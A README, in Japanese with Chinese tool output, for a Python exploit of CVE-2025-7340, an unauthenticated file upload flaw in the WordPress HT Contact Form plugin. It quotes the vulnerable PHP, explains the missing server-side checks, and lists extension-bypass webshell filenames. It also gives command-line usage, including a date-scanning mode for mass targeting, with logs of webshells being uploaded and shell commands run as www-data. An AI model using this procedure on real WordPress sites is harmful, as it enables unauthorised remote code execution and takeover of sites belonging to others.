
CVE-2025-7340のPythonエクスプロイト。WordPress HT Contact Formウィジェットの未認証ファイルアップロード脆弱性で、ウェブシェル展開によるリモートコード実行を可能にします。
脆弱性の場所:ht-contactform/admin/Includes/Services/FileManager.php
重要な関数:temp_file_upload()
temp_file_upload 関数#63行
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// Validate file
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// Process the file
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// Move file to temporary directory
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAX 処理ファイルの場所: ht-contactform/admin/Includes/Ajax.php:
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
問題: wp_ajax_nopriv_ フックが使用されており、認証されていないユーザーもファイルアップロード機能にアクセスできることを意味します。
問題の根本原因分析:
FileManager.php の validate 関数では、PHPのアップロードエラーのみをチェックし、ファイルタイプ、拡張子、MIMEタイプの検証はまったく行われません。Fields.php で許可ファイルを定義していますが、フォームレンダリング時のフロントエンド検証(accept 属性)にのみ使用され、サーバー側ではこれらの設定を検証にまったく使用していません。sanitize_file_name() は主に特殊文字を処理するだけで、危険な拡張子を防ぐことはできず、攻撃者は依然として .php、.php3、.phtml などのファイルをアップロードできます。// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
問題分析:
直接攻撃: 攻撃者は /wp-admin/admin-ajax.php にPOSTリクエストを直接送信でき、actionは ht_form_temp_file_upload です
フロントエンド検証のバイパス: フロントエンドは accept 属性でファイルタイプを制限していますが、攻撃者は簡単にバイパスできます
ファイル実行: アップロードされたPHPファイルがWebサーバーで実行され、リモートコード実行につながる可能性がある
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
注意、URLがプラグインで公開された記事の場合にのみ有効です。そのため、スクリプトキディ機能02を追加しました。
01[単一テスト]例:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式
02[ルートディレクトリテスト]例:
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...
[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式